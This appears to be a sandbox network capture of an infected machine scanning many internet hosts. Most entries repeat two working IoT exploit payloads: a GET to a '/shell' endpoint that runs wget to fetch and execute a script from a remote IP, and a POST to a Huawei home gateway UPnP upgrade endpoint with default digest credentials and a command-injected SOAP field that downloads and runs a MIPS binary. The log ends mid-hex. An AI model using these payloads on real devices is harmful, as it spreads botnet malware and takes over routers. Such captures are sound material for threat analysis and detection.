Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.856618881 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	34410	178.116.76.220	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.858870029 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	56400	76.87.100.69	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.860897064 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	43590	200.227.24.116	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.862277985 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	43232	80.234.35.77	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.863642931 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	37108	86.248.77.229	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.864921093 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	52018	20.192.68.43	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.866128922 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	49412	64.204.248.79	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.867470026 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	42046	195.209.166.102	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.868776083 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	56778	124.198.230.56	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.869779110 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	39034	152.83.224.204	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.871854067 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	52736	96.171.224.255	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.873251915 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	57824	135.106.4.49	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.874567986 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	49110	156.143.243.166	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.922411919 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	60882	41.1.16.245	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.923381090 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	55322	41.112.237.34	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.924273014 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	60470	156.57.11.197	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.925133944 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	44436	156.190.41.183	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.926043987 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	33064	41.251.69.196	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.927027941 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	41114	156.18.195.164	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.927927017 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	45682	41.117.101.224	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.928827047 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	33796	156.205.253.53	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.929860115 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 